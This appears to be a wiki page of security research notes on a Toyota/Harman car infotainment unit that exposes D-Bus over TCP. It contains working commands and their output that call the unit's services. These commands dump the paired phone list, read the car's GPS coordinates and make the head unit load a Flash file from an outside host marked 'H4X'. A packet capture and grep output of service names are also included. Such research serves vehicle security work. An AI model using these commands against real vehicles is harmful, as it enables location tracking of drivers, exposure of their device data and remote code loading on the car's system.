= Introspection = We created simple dbus-scanner: {{attachment:scan.py}} Which provided following results: [[/Scan]] = Calling functions = It seems that there is Invoke-method in almost every service and that one is used to call lua/c-functions that take json-paramters and return json-parameters. {{attachment:toyota-cmd.py}} Using that we were able to: 1. Get list of paired Bluetooth devices {{{ machine% python toyota.py com.harman.service.BluetoothService getPairedDeviceList '' {"pairedDeviceList":[{"serviceSearchList":[{"service":"A2DP_SOURCE","priority":0,"connected":false},{"service":"HFPGW","priority":1,"connected":true},{"service":"HSPGW","priority":0,"connected":false},{"service":"0000-1203-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"PAN_NAP","priority":0,"connected":true},{"service":"AVRCP","priority":0,"connected":false},{"service":"SPP","priority":0,"connected":false},{"service":"PAN_GN","priority":0,"connected":false},{"service":"SDP","priority":0,"connected":false}],"name":"cn0011","address":"xx:xx:xx:xx:xx:xx"},{"serviceSearchList":[{"service":"HFPGW","priority":2,"connected":false},{"service":"A2DP_SOURCE","priority":0,"connected":false},{"service":"DID","priority":0,"connected":false},{"service":"AVRCP","priority":0,"connected":false},{"service":"0000-1203-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"HSPGW","priority":0,"connected":false},{"service":"OPP_SERVER","priority":0,"connected":false},{"service":"PBAP_SERVER","priority":0,"connected":false},{"service":"SDP","priority":0,"connected":false}],"name":"ZTE-BLADE","address":"xx:xx:xx:xx:xx:xx"},{"serviceSearchList":[{"service":"HFPGW","priority":3,"connected":false},{"service":"A2DP_SOURCE","priority":0,"connected":false},{"service":"PAN_NAP","priority":0,"connected":false},{"service":"OPP_SERVER","priority":0,"connected":false},{"service":"FTP","priority":0,"connected":false},{"service":"DUNGW","priority":0,"connected":false},{"service":"0000-1201-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"SPP","priority":0,"connected":false},{"service":"0000-1203-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"HSPGW","priority":0,"connected":false},{"service":"SyncMLClient","priority":0,"connected":false},{"service":"PBAP_SERVER","priority":0,"connected":false},{"service":"SAP","priority":0,"connected":false},{"service":"0000-1204-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"AVRCP","priority":0,"connected":false},{"service":"SDP","priority":0,"connected":false},{"service":"FBUS_RFCOMM","priority":0,"connected":false}],"name":"Nokia X3-02","address":"xx:xx:xx:xx:xx:xx"}],"description":"success","code":0} }}} 1. Get car GPS-position: {{{ machine% python toyota-cmd.py com.harman.service.Navigation MAP_PositionInfo '' calling MAP_PositionInfo() {"lat":65.06096196174622,"lon":25.44586372375488,"posInfo":null} }}} 1. Load any flash (swf) application from Internet: {{{ machine% python toyota-cmd.py com.harman.service.HMIService loadExternalSWF '{ "path":"http://www.sieni.us/H4X/29.swf" }' calling loadExternalSWF({ "path":"http://www.sieni.us/H4X/29.swf" }) {"result":true} }}} = Old = {{{ DBUS_SESSION_BUS_ADDRESS=tcp:host=192.168.2.4,port=6667 dbus-send --print-reply --dest=foo foo org.mydomain.Interface.Method process 34445: arguments to dbus_message_new_method_call() were incorrect, assertion "_dbus_check_is_valid_path (path)" failed in file dbus-message.c line 1204. This is normally a bug in some application using the D-Bus library. D-Bus not built with -rdynamic so unable to print a backtrace Abort trap: 6 }}} === grepping com.harman.service === {{{ usr/share/scripts/nav-activation/nav-activation.lua:local g_navBusName = "com.harman.service.Navigation" usr/share/scripts/nav-activation/nav-activation.lua:local g_navSyncBusName = "com.harman.service.NavigationUpdate" usr/share/scripts/nav-activation/nav-activation.lua:local g_InstallerBusName = "com.harman.service.SoftwareInstallerExternal" usr/share/scripts/nav-activation/nav-activation.lua:local g_HMIBusName = "com.harman.service.HMIService" usr/share/scripts/nav-activation/nav-activation.lua:local g_TMBusName = "com.harman.service.ToyotaMGR" }}} {{{ usr/share/scripts/app-install/eu-app-install.lua:local g_InstallServiceName = "com.harman.service.SoftwareInstaller" usr/share/scripts/app-install/us-app-install.lua:local g_InstallServiceName = "com.harman.service.SoftwareInstallerExternal" usr/share/scripts/app-install/us-app-install.lua:local g_TMBusName = "com.harman.service.ToyotaMGR" usr/share/scripts/app-install/us-app-install.lua:local g_HMIBusName = "com.harman.service.HMIService" }}} {{{ 11:14:36.438392 IP 192.168.2.3.63280 > 192.168.2.4.6667: Flags [P.], seq 3741:38 85, ack 5448, win 8192, options [nop,nop,TS val 1209668591 ecr 976], len gth 144 E.....@.@............0......l..... .)...... H.......l...........{.....o...../com/harman/service/ToyotaMGR.....s.....:1.11... ..s.#...org.freedesktop.DBus.Introspectable.......s. ...Introspect...... 11:14:36.501990 IP 192.168.2.4.6667 > 192.168.2.3.63280: Flags [P.], seq 5448:62 76, ack 3885, win 33580, options [nop,nop,TS val 976 ecr 1209668591], le ngth 828 E..p..@.@..............0l......M...,....... ....H...l.......p.........s.....:1.73.....u.......g..s....s.....:1.11....... . }}} <>